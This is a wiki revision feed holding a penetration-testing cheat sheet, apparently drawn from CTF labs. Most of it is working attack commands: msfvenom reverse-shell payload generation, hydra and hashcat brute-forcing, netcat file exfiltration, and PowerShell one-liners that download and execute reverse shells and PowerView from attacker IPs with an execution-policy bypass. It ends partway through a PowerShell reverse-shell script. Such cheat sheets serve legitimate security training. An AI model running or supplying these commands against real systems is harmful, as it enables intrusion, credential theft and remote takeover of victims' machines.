<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=OLD_CheatSheet</id>
	<title>OLD CheatSheet - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=OLD_CheatSheet"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=OLD_CheatSheet&amp;action=history"/>
	<updated>2026-04-21T15:20:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=OLD_CheatSheet&amp;diff=1111&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 10:31, 20 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=OLD_CheatSheet&amp;diff=1111&amp;oldid=prev"/>
		<updated>2022-01-20T10:31:13Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 10:31, 20 January 2022&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;4&quot; class=&quot;diff-notice&quot; lang=&quot;en&quot;&gt;&lt;div class=&quot;mw-diff-empty&quot;&gt;(No difference)&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;!-- diff cache key my_wiki:diff:1.41:old-1106:rev-1111 --&gt;
&lt;/table&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=OLD_CheatSheet&amp;diff=1106&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 10:31, 20 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=OLD_CheatSheet&amp;diff=1106&amp;oldid=prev"/>
		<updated>2022-01-20T10:31:13Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== Fix STTY in reverse shell ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger) ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== NMAP ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enumerate LDAP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Stabilize shell with python ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &amp;#039;import pty;pty.spawn(“/bin/bash”)&amp;#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Simple HTTP server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SUID ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find SUID bit file&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
find / -perm -u=s -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSH Port Forward ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Hashcat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Hydra ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &amp;#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&amp;#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Msfvenom ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
&lt;br /&gt;
Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PHPmsfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Other platforms&lt;br /&gt;
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f elf &amp;gt; shell.elf&lt;br /&gt;
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f exe &amp;gt; shell.exe&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f asp &amp;gt; shell.asp&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_python LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.py&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
$ msfvenom -p php/meterpreter_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.php; cat shell.php | pbcopy &amp;amp;&amp;amp; echo &amp;#039; shell.php &amp;amp;&amp;amp; pbpaste &amp;gt;&amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Transfer files to and from target machine ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://ironhackers.es/en/cheatsheet/transferir-archivos-post-explotacion-cheatsheet/ https://ironhackers.es/en/cheatsheet/transferir-archivos-post-explotacion-cheatsheet/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== imackets smbserver ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&amp;#039;http://ip-addr:port/file&amp;#039;, &amp;#039;output-file&amp;#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Compile .C to .exe ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Pivoting technique ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumeration CMD ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters#domain-info https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters#domain-info]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials on target.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo %USERDOMAIN% #Get domain name&lt;br /&gt;
echo %USERDNSDOMAIN% #Get domain name&lt;br /&gt;
echo %logonserver% #Get name of the domain controller&lt;br /&gt;
set logonserver #Get name of the domain controller&lt;br /&gt;
set log #Get name of the domain controller&lt;br /&gt;
net groups /domain #List of domain groups&lt;br /&gt;
net group &amp;quot;domain computers&amp;quot; /domain #List of PCs connected to the domain&lt;br /&gt;
net view /domain #Lis of PCs of the domain&lt;br /&gt;
nltest /dclist: #List domain controllers&lt;br /&gt;
net group &amp;quot;Domain Controllers&amp;quot; /domain #List PC accounts of domains controllers&lt;br /&gt;
net group &amp;quot;Domain Admins&amp;quot; /domain #List users with domain admin privileges&lt;br /&gt;
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the grup &amp;quot;Domain Admins&amp;quot; is included here)&lt;br /&gt;
net user /domain #List all users of the domain&lt;br /&gt;
net user  /domain #Get information about that user&lt;br /&gt;
net accounts /domain #Password and lockout policy&lt;br /&gt;
nltest /domain_trust #Mapping of the trust relationships.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== psexec - Login to windows machine to get a shell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fix VHDX to Hyper-V import error - outputs error &amp;quot;Make sure the file is uncompressed and sparse&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
fsutil sparse setflag &amp;quot;C:\FilePath\FileName.iso&amp;quot; 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/mini-reverse.ps1&amp;#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.17:9000/PowerUp.ps1&amp;#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&amp;#039;http://10.10.14.17:9000/SharpHound.exe&amp;#039;, &amp;#039;C:\Users\[...]\Desktop\SharpHound.exe&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&amp;#039;http://10.10.14.45:5555/PowerView.ps1&amp;#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.18:9000/shell.ps1&amp;#039;)&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &amp;#039;&amp;#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &amp;#039;10.10.14.9:9000/ipw.ps1&amp;#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&amp;#039;127.0.0.1&amp;#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&amp;#039; &amp;#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&amp;#039; &amp;#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&amp;#039; &amp;#039;));&lt;br /&gt;
			if($args.split(&amp;#039; &amp;#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
